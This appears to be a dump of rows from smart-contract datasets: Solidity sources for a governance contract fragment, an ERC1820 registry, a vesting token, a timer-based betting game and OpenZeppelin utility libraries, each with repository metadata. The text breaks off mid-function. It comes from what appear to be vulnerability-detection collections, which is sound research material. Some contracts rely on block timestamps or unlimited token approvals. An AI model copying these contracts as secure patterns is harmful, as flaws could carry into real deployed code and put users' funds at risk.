} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface DDTInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
| 62,747 | 13,176 |
1f596737fd1e662458e10c6c73cc0fcc6e3bbf7434b7ec1cda2752fa3e7d1c6c
| 12,839 |
.sol
|
Solidity
| false |
369422333
|
pledgefinance/pledge-contracts
|
50a703d1afe1d7771aa843ea0bc9f4d38384bb3c
|
mocks/ERC1820Registry.sol
| 2,310 | 9,170 |
pragma solidity ^0.5.12;
// IV is value needed to have a vanity address starting with '0x1820'.
// IV: 53759
/// @dev The interface a contract MUST implement if it is the implementer of
/// some (other) interface for any address other than itself.
interface ERC1820ImplementerInterface {
/// @param interfaceHash keccak256 hash of the name of the interface
/// @param addr Address for which the contract will implement the interface
function canImplementInterfaceForAddress(bytes32 interfaceHash, address addr) external view returns (bytes32);
}
/// @title ERC1820 Pseudo-introspection Registry Contract
/// @author Jordi Baylina and Jacques Dafflon
/// @notice This contract is the official implementation of the ERC1820 Registry.
/// @notice For more details, see https://eips.ethereum.org/EIPS/eip-1820
contract ERC1820Registry {
/// @notice ERC165 Invalid ID.
bytes4 internal constant INVALID_ID = 0xffffffff;
bytes4 internal constant ERC165ID = 0x01ffc9a7;
bytes32 internal constant ERC1820_ACCEPT_MAGIC = keccak256(abi.encodePacked("ERC1820_ACCEPT_MAGIC"));
/// @notice mapping from addresses and interface hashes to their implementers.
mapping(address => mapping(bytes32 => address)) internal interfaces;
/// @notice mapping from addresses to their manager.
mapping(address => address) internal managers;
/// @notice flag for each address and erc165 interface to indicate if it is cached.
mapping(address => mapping(bytes4 => bool)) internal erc165Cached;
/// @notice Indicates a contract is the 'implementer' of 'interfaceHash' for 'addr'.
event InterfaceImplementerSet(address indexed addr, bytes32 indexed interfaceHash, address indexed implementer);
/// @notice Indicates 'newManager' is the address of the new manager for 'addr'.
event ManagerChanged(address indexed addr, address indexed newManager);
/// @notice Query if an address implements an interface and through which contract.
/// @param _addr Address being queried for the implementer of an interface.
/// (If '_addr' is the zero address then 'msg.sender' is assumed.)
/// @param _interfaceHash Keccak256 hash of the name of the interface as a string.
/// E.g., 'web3.utils.keccak256("ERC777TokensRecipient")' for the 'ERC777TokensRecipient' interface.
/// @return The address of the contract which implements the interface '_interfaceHash' for '_addr'
/// or '0' if '_addr' did not register an implementer for this interface.
function getInterfaceImplementer(address _addr, bytes32 _interfaceHash) external view returns (address) {
address addr = _addr == address(0) ? msg.sender : _addr;
if (isERC165Interface(_interfaceHash)) {
bytes4 erc165InterfaceHash = bytes4(_interfaceHash);
return implementsERC165Interface(addr, erc165InterfaceHash) ? addr : address(0);
}
return interfaces[addr][_interfaceHash];
}
/// @notice Sets the contract which implements a specific interface for an address.
/// Only the manager defined for that address can set it.
/// (Each address is the manager for itself until it sets a new manager.)
/// @param _addr Address for which to set the interface.
/// (If '_addr' is the zero address then 'msg.sender' is assumed.)
/// @param _interfaceHash Keccak256 hash of the name of the interface as a string.
/// E.g., 'web3.utils.keccak256("ERC777TokensRecipient")' for the 'ERC777TokensRecipient' interface.
/// @param _implementer Contract address implementing '_interfaceHash' for '_addr'.
function setInterfaceImplementer(address _addr, bytes32 _interfaceHash, address _implementer) external {
address addr = _addr == address(0) ? msg.sender : _addr;
require(getManager(addr) == msg.sender, "Not the manager");
require(!isERC165Interface(_interfaceHash), "Must not be an ERC165 hash");
if (_implementer != address(0) && _implementer != msg.sender) {
require(ERC1820ImplementerInterface(_implementer).canImplementInterfaceForAddress(_interfaceHash, addr) ==
ERC1820_ACCEPT_MAGIC,
"Does not implement the interface");
}
interfaces[addr][_interfaceHash] = _implementer;
emit InterfaceImplementerSet(addr, _interfaceHash, _implementer);
}
/// @notice Sets '_newManager' as manager for '_addr'.
/// The new manager will be able to call 'setInterfaceImplementer' for '_addr'.
/// @param _addr Address for which to set the new manager.
function setManager(address _addr, address _newManager) external {
require(getManager(_addr) == msg.sender, "Not the manager");
managers[_addr] = _newManager == _addr ? address(0) : _newManager;
emit ManagerChanged(_addr, _newManager);
}
/// @notice Get the manager of an address.
/// @param _addr Address for which to return the manager.
/// @return Address of the manager for a given address.
function getManager(address _addr) public view returns (address) {
// By default the manager of an address is the same address
if (managers[_addr] == address(0)) {
return _addr;
} else {
return managers[_addr];
}
}
/// @notice Compute the keccak256 hash of an interface given its name.
/// @param _interfaceName Name of the interface.
/// @return The keccak256 hash of an interface name.
function interfaceHash(string calldata _interfaceName) external pure returns (bytes32) {
return keccak256(abi.encodePacked(_interfaceName));
}
/// @notice Updates the cache with whether the contract implements an ERC165 interface or not.
/// @param _contract Address of the contract for which to update the cache.
/// @param _interfaceId ERC165 interface for which to update the cache.
function updateERC165Cache(address _contract, bytes4 _interfaceId) external {
interfaces[_contract][_interfaceId] = implementsERC165InterfaceNoCache(_contract, _interfaceId)
? _contract
: address(0);
erc165Cached[_contract][_interfaceId] = true;
}
/// @notice Checks whether a contract implements an ERC165 interface or not.
// If the result is not cached a direct lookup on the contract address is performed.
// 'updateERC165Cache' with the contract address.
/// @param _contract Address of the contract to check.
/// @param _interfaceId ERC165 interface to check.
/// @return True if '_contract' implements '_interfaceId', false otherwise.
function implementsERC165Interface(address _contract, bytes4 _interfaceId) public view returns (bool) {
if (!erc165Cached[_contract][_interfaceId]) {
return implementsERC165InterfaceNoCache(_contract, _interfaceId);
}
return interfaces[_contract][_interfaceId] == _contract;
}
/// @param _contract Address of the contract to check.
/// @param _interfaceId ERC165 interface to check.
/// @return True if '_contract' implements '_interfaceId', false otherwise.
function implementsERC165InterfaceNoCache(address _contract, bytes4 _interfaceId) public view returns (bool) {
uint256 success;
uint256 result;
(success, result) = noThrowCall(_contract, ERC165ID);
if (success == 0 || result == 0) {
return false;
}
(success, result) = noThrowCall(_contract, INVALID_ID);
if (success == 0 || result != 0) {
return false;
}
(success, result) = noThrowCall(_contract, _interfaceId);
if (success == 1 && result == 1) {
return true;
}
return false;
}
/// @notice Checks whether the hash is a ERC165 interface (ending with 28 zeroes) or not.
/// @param _interfaceHash The hash to check.
/// @return True if '_interfaceHash' is an ERC165 interface (ending with 28 zeroes), false otherwise.
function isERC165Interface(bytes32 _interfaceHash) internal pure returns (bool) {
return _interfaceHash & 0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0;
}
/// @dev Make a call on a contract without throwing if the function does not exist.
function noThrowCall(address _contract, bytes4 _interfaceId)
internal
view
returns (uint256 success, uint256 result)
{
bytes4 erc165ID = ERC165ID;
// solium-disable-next-line security/no-inline-assembly
assembly {
let x := mload(0x40) // Find empty storage location using "free memory pointer"
mstore(x, erc165ID) // Place signature at beginning of empty storage
mstore(add(x, 0x04), _interfaceId) // Place first argument directly next to signature
success := staticcall(30000, // 30k gas
_contract, // To addr
x, // Inputs are stored at location x
0x24, // Inputs are 36 (4 + 32) bytes long
x, // Store output over input (saves space)
0x20 // Outputs are 32 bytes long)
result := mload(x) // Load the result
}
}
}
| 233,323 | 13,177 |
0e570fe706b11c969bc005349ac9a3ef57020c0824eac799df97ddb387e9b85a
| 18,177 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs_wild/cfg/raw_source_code/0xe382eb93c1838473a22d3c680b82ac29eb0094cc.sol
| 3,394 | 12,881 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract TokenVesting is Owned {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
address internal ownerShip;
constructor(address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
address _realOwner)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
ownerShip = _realOwner;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(ownerShip, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract TokenVault {
using SafeERC20 for ERC20;
// ERC20 token contract being held
ERC20 public token;
constructor(ERC20 _token) public {
token = _token;
}
function fillUpAllowance() public {
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.approve(token, amount);
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
}
}
contract BKB_Token is BurnableToken, Owned {
string public constant name = "Biko Bank";
string public constant symbol = "BKB";
uint8 public constant decimals = 18;
/// Maximum tokens to be allocated (0.9 billion BKB)
uint256 public constant HARD_CAP = 900000000 * 10**uint256(decimals);
/// This address will be used to distribute the team, advisors and reserve tokens
address public saleTokensAddress;
/// This vault is used to keep the Founders, Advisors and Partners tokens
TokenVault public reserveTokensVault;
/// Date when the vesting for regular users starts
uint64 public date28Nov2018 = 1543363200;
uint64 public lock90Days = 7776000;
uint64 public unlock100Days = 8640000;
/// Store the vesting contract addresses for each sale contributor
mapping(address => address) public vestingOf;
constructor(address _saleTokensAddress) public payable {
require(_saleTokensAddress != address(0));
saleTokensAddress = _saleTokensAddress;
/// Maximum tokens to be sold - 89.5 %
uint256 saleTokens = 805500000;
createTokensInt(saleTokens, saleTokensAddress);
require(totalSupply_ <= HARD_CAP);
}
/// @dev Create a ReserveTokenVault
function createReserveTokensVault() external onlyOwner {
require(reserveTokensVault == address(0));
/// Reserve tokens - 10.5 %
uint256 reserveTokens = 94500000;
reserveTokensVault = createTokenVaultInt(reserveTokens);
require(totalSupply_ <= HARD_CAP);
}
/// @dev Create a TokenVault and fill with the specified newly minted tokens
function createTokenVaultInt(uint256 tokens) internal onlyOwner returns (TokenVault) {
TokenVault tokenVault = new TokenVault(ERC20(this));
createTokensInt(tokens, tokenVault);
tokenVault.fillUpAllowance();
return tokenVault;
}
// @dev create specified number of tokens and transfer to destination
function createTokensInt(uint256 _tokens, address _destination) internal onlyOwner {
uint256 tokens = _tokens * 10**uint256(decimals);
totalSupply_ = totalSupply_.add(tokens);
balances[_destination] = balances[_destination].add(tokens);
emit Transfer(0x0, _destination, tokens);
require(totalSupply_ <= HARD_CAP);
}
/// @dev vest the sale contributor tokens
function vestTokensDetailInt(address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable,
uint256 _tokensAmount) external onlyOwner {
require(_beneficiary != address(0));
uint256 tokensAmount = _tokensAmount * 10**uint256(decimals);
if(vestingOf[_beneficiary] == 0x0) {
TokenVesting vesting = new TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable, owner);
vestingOf[_beneficiary] = address(vesting);
}
require(this.transferFrom(reserveTokensVault, vestingOf[_beneficiary], tokensAmount));
}
/// @dev vest the sale contributor tokens for 100 days, 1% gradual release with 3 month cliff
function vestTokensInt(address _beneficiary, uint256 _tokensAmount) external onlyOwner {
require(_beneficiary != address(0));
uint256 tokensAmount = _tokensAmount * 10**uint256(decimals);
if(vestingOf[_beneficiary] == 0x0) {
TokenVesting vesting = new TokenVesting(_beneficiary, date28Nov2018, 0, unlock100Days, true, owner);
vestingOf[_beneficiary] = address(vesting);
}
require(this.transferFrom(reserveTokensVault, vestingOf[_beneficiary], tokensAmount));
}
/// @dev releases vested tokens for the caller's own address
function releaseVestedTokens() external {
releaseVestedTokensFor(msg.sender);
}
/// @dev releases vested tokens for the specified address.
/// Can be called by anyone for any address.
function releaseVestedTokensFor(address _owner) public {
TokenVesting(vestingOf[_owner]).release(this);
}
/// @dev check the vested balance for an address
function lockedBalanceOf(address _owner) public view returns (uint256) {
return balances[vestingOf[_owner]];
}
/// @dev check the locked but releaseable balance of an owner
function releaseableBalanceOf(address _owner) public view returns (uint256) {
if (vestingOf[_owner] == address(0)) {
return 0;
} else {
return TokenVesting(vestingOf[_owner]).releasableAmount(this);
}
}
/// @dev revoke vested tokens for the specified address.
/// Tokens already vested remain in the contract, the rest are returned to the owner.
function revokeVestedTokensFor(address _owner) public onlyOwner {
TokenVesting(vestingOf[_owner]).revoke(this);
}
/// @dev Create a ReserveTokenVault
function makeReserveToVault() external onlyOwner {
require(reserveTokensVault != address(0));
reserveTokensVault.fillUpAllowance();
}
}
| 135,816 | 13,178 |
6345f4e41a34d5d959f393623dbac32575e3cfcc0da0ee1c83367340b95cc185
| 9,583 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe69c6002f218d6939e13eefbb3d984b22c4e0448.sol
| 2,257 | 8,726 |
pragma solidity ^0.4.23;
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethell is ZTHReceivingContract {
using SafeMath for uint;
address private owner;
address private bankroll;
// How much of the current token balance is reserved as the house take?
uint private houseTake;
// How many tokens are currently being played for? (Remember, this is winner takes all)
uint public tokensInPlay;
// The token balance of the entire contract.
uint public contractBalance;
// Which address is currently winning?
address public currentWinner;
// What time did the most recent clock reset happen?
uint public gameStarted;
// What time will the game end if the clock isn't reset?
uint public gameEnds;
// Is betting allowed? (Administrative function, in the event of unforeseen bugs)
bool public gameActive;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
ZTHInterface private ZTHTKN;
mapping (uint => bool) validTokenBet;
mapping (uint => uint) tokenToTimer;
// Fire an event whenever the clock runs out and a winner is determined.
event GameEnded(address winner,
uint tokensWon,
uint timeOfWin);
// Might as well notify everyone when the house takes its cut out.
event HouseRetrievedTake(uint timeTaken,
uint tokensWithdrawn);
// Fire an event whenever someone places a bet.
event TokensWagered(address _wagerer,
uint _wagered,
uint _newExpiry);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
constructor(address ZethrAddress, address BankrollAddress) public {
// Set Zethr & Bankroll address from constructor params
ZTHTKNADDR = ZethrAddress;
ZTHBANKROLL = BankrollAddress;
// Set starting variables
owner = msg.sender;
bankroll = ZTHBANKROLL;
currentWinner = ZTHBANKROLL;
// Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements.
ZTHTKN = ZTHInterface(ZTHTKNADDR);
ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1);
// To start with, we only allow bets of 5, 10, 25 or 50 ZTH.
validTokenBet[5e18] = true;
validTokenBet[10e18] = true;
validTokenBet[25e18] = true;
validTokenBet[50e18] = true;
// Logarithmically decreasing time 'bonus' associated with higher amounts of ZTH staked.
tokenToTimer[5e18] = 24 hours;
tokenToTimer[10e18] = 18 hours;
tokenToTimer[25e18] = 10 hours;
tokenToTimer[50e18] = 6 hours;
// Set the initial timers to contract genesis.
gameStarted = now;
gameEnds = now;
gameActive = true;
}
// Zethr dividends gained are sent to Bankroll later
function() public payable { }
struct TKN { address sender; uint value; }
function tokenFallback(address _from, uint _value, bytes) public returns (bool){
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_stakeTokens(_tkn);
return true;
}
// First, we check to see if the tokens are ZTH tokens. If not, we revert the transaction.
// Next - if the game has already ended (i.e. your bet was too late and the clock ran out)
// the staked tokens from the previous game are transferred to the winner, the timers are
// reset, and the game begins anew.
// If you're simply resetting the clock, the timers are reset accordingly and you are designated
// the current winner. A 1% cut will be taken for the house, and the rest deposited in the prize
// pool which everyone will be playing for. No second place prizes here!
function _stakeTokens(TKN _tkn) private {
require(gameActive);
require(_zthToken(msg.sender));
require(validTokenBet[_tkn.value]);
if (now > gameEnds) { _settleAndRestart(); }
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
uint rightNow = now;
uint timePurchased = tokenToTimer[_tkn.value];
uint newGameEnd = rightNow.add(timePurchased);
gameStarted = rightNow;
gameEnds = newGameEnd;
currentWinner = _customerAddress;
contractBalance = contractBalance.add(_wagered);
uint houseCut = _wagered.div(100);
uint toAdd = _wagered.sub(houseCut);
houseTake = houseTake.add(houseCut);
tokensInPlay = tokensInPlay.add(toAdd);
emit TokensWagered(_customerAddress, _wagered, newGameEnd);
}
// In the event of a game restart, subtract the tokens which were being played for from the balance,
// transfer them to the winner (if the number of tokens is greater than zero: sly edge case).
// If there is *somehow* any Ether in the contract - again, please don't - it is transferred to the
// bankroll and reinvested into Zethr at the standard 33% rate.
function _settleAndRestart() private {
gameActive = false;
uint payment = tokensInPlay/2;
contractBalance = contractBalance.sub(payment);
if (tokensInPlay > 0) { ZTHTKN.transfer(currentWinner, payment);
if (address(this).balance > 0){
ZTHBANKROLL.transfer(address(this).balance);
}}
emit GameEnded(currentWinner, payment, now);
// Reset values.
tokensInPlay = tokensInPlay.sub(payment);
gameActive = true;
}
// How many tokens are in the contract overall?
function balanceOf() public view returns (uint) {
return contractBalance;
}
// Administrative function for adding a new token-time pair, should there be demand.
function addTokenTime(uint _tokenAmount, uint _timeBought) public onlyOwner {
validTokenBet[_tokenAmount] = true;
tokenToTimer[_tokenAmount] = _timeBought;
}
// Administrative function to REMOVE a token-time pair, should one fall out of use.
function removeTokenTime(uint _tokenAmount) public onlyOwner {
validTokenBet[_tokenAmount] = false;
tokenToTimer[_tokenAmount] = 232 days;
}
// Function to pull out the house cut to the bankroll if required (i.e. to seed other games).
function retrieveHouseTake() public onlyOwnerOrBankroll {
uint toTake = houseTake;
houseTake = 0;
contractBalance = contractBalance.sub(toTake);
ZTHTKN.transfer(bankroll, toTake);
emit HouseRetrievedTake(now, toTake);
}
// If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets.
function pauseGame() public onlyOwner {
gameActive = false;
}
// The converse of the above, resuming betting if a freeze had been put in place.
function resumeGame() public onlyOwner {
gameActive = true;
}
// Administrative function to change the owner of the contract.
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// Administrative function to change the Zethr bankroll contract, should the need arise.
function changeBankroll(address _newBankroll) public onlyOwner {
bankroll = _newBankroll;
}
// Is the address that the token has come from actually ZTH?
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
// And here's the boring bit.
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
| 192,354 | 13,179 |
93c348fca7296a39bc531d9c19dd1725a35b22effc5cdf7f6ecd9802a5d29275
| 32,975 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x4c8170476eF5aC641F9a1045adFF75e42E51c33A/contract.sol
| 5,270 | 19,920 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
